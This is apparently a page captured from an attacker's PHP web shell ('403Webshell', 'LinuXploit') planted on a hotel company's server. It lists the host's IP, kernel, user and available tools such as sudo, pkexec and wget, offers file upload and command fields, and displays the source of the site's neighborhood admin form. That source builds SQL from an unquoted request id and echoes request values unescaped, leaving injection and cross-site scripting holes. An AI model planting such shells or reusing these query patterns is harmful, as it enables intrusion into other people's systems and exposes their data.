403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-dev/public_html/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-dev/public_html/mod/neighborhood_form.php
<?php include('_mod_security.php'); ?>
<?php
	form_prep('neighborhoods', 'basic_info');
	if ($_POST['ajax_event_submitted'] == '1') :
		form_reload_check();
		if (isset($_POST['active_tab'])) :
			$active_tab = $_POST['active_tab'];
		else :
			$active_tab = 'basic_info';
		endif;
		$ar_err = array();
		if (empty($_POST['neighborhood_name'])) :
			$ar_err['neighborhood_name'] = 'Neighborhood name is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (!$err_flag) :
			$set = "neighborhood_name = ".$db->quote(trim($_POST['neighborhood_name'])).", ".
					"street_ranges = ".$db->quote(trim($_POST['street_ranges'])).", ".
					"avenue_ranges = ".$db->quote(trim($_POST['avenue_ranges'])).", ".
					"zip_codes = ".$db->quote(trim($_POST['zip_codes'])).", ".
					"comments = ".$db->quote(trim($_POST['comments'])).", ".
					sql_set_update();
			if ($action == 'Edit') :
				$sql = "UPDATE neighborhoods set ".$set.
					"WHERE neighborhood_id = ".nz(trim($_REQUEST['id']), '0')." ";
				$db->query($sql) or die('Database Error!');
				//echo '==='.$sql.'===';
				post_set_update();
			else :
				if ($action == 'Add New') :
					$sql = "INSERT INTO neighborhoods SET ".
						sql_set_create().
						$set;
					//echo '==='.$sql.'===';
					$db->query($sql) or die('Database Error!');
					$_REQUEST['id'] = last_id();
					$_POST['neighborhood_id'] = $_REQUEST['id'];
					post_set_create_update();
				endif;
			endif;
			$form_message = "Saved sucessfully!";
			form_uid_reset();
			if ($_POST['xsubmit'] == 'Save & Close') :
				echo "<SCRIPT>";
				//echo "window.location.href = 'index.php?IX=".$_REQUEST['ref']."'";
				echo "appstack_pop()";
				echo "</SCRIPT>";
			endif;
			if ($_POST['xsubmit'] == 'Save & New') :
				echo "<SCRIPT>";
				echo "window.location.href = 'index.php?IX=neighborhood_form&ref=".urlencode($_REQUEST['ref'])."'";
				echo "</SCRIPT>";
			endif;
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else:
		if ($action == 'Edit') :
			$sql = "SELECT * FROM neighborhoods WHERE neighborhood_id = ".nz(trim($_REQUEST['id']), '0')." ";
			$result = $db->query($sql) or die('Database Error!');
			if ($result->rowCount() > 0) :
				$row = $result->fetch(PDO::FETCH_OBJ);
				$_POST['neighborhood_id'] = $row->neighborhood_id;
				$_POST['neighborhood_name'] = $row->neighborhood_name;
				$_POST['street_ranges'] = $row->street_ranges;
				$_POST['avenue_ranges'] = $row->avenue_ranges;
				$_POST['zip_codes'] = $row->zip_codes;
				$_POST['comments'] = $row->comments;
				post_set_load_create_update();
			else :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
		else :
		endif;
	endif;
	
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';
	
	update_header = function()
	{
		if ($("#neighborhood_name").val() > "" )
		{
			$("#header_repeater").text(" - " + $("#neighborhood_name").val());
		}
	}
	
	$(document).ready(function()	
		{
			switch_tab('<?php echo $active_tab; ?>');
			update_header();
			$(':input:not(.search)').change(function() {sheet_dirty = true; } );
		}
	)
</script>

<h1>Neighborhood - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form style="" name="frm_neighborhood" id="frm_neighborhood" method="post" action="">
	<input name="ajax_event_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<?php form_button_strip('top'); ?>
	<div class="tab_strip">
		<?php
			form_tab_header('basic_info', 'Basic Info', 'admin,eventmgr,distributor');
			if (!empty($_REQUEST['id'])) :
				form_tab_header('hotels', 'Hotels', 'admin,eventmgr,distributor');
			endif;
		?>
	</div>
	<div class="cleardiv">
		&nbsp;
	</div>
	<div class="tab_content" id="tab_content_basic_info">
		<div class="form_header">
			Basic Info
		</div>
		<div class="input_column">
			<?php
				form_field('neighborhood_id', 'text', 10, 0, false, false, true, '', '', 'neighborhood_id', 'Neighborhood ID');
				form_field('neighborhood_name', 'text', 75, 0, true, false, false, '', '', 'neighborhood_name', 'Neighborhood Name', array(), '', 'update_header();');
				form_field('street_ranges', 'text', 150, 0, false, false, false, '', '', 'street_ranges', 'Street Ranges');
				form_field('avenue_ranges', 'text', 150, 0, false, false, false, '', '', 'avenue_ranges', 'Avenue Ranges');
				form_field('zip_codes', 'text', 150, 0, false, false, false, '', '', 'zip_codes', 'Zip Codes');
				form_field('comments', 'textarea', 70, 9, false, false, false, '', '', 'comments', 'Comments');
			?>
		</div>
	</div>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<div class="tab_content" id="tab_content_hotels">
		<div class="form_header">
			Hotels
		</div>
		<?php
			$ix_form = 'hotel_form&neighborhood_id='.trim(nz($_REQUEST['id'], '-1'));
			db_navigator_bar(array('table_id'=>'db_grid_hotels', 'form'=>$ix_form, 'print_section'=>'db_grid_hotels', 'call'=>'hotels_ajax', 'sort_col'=>'1', 'sort_order'=>'0', 'subtab'=>'true', 'parm1'=>" AND h.neighborhood_id = ".nz($_REQUEST['id'], '0')." ", 'func'=>'grid' ));
		?>
	</div>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_button_strip('bottom'); ?>
</form>



Youez - 2016 - github.com/yon3zu
LinuXploit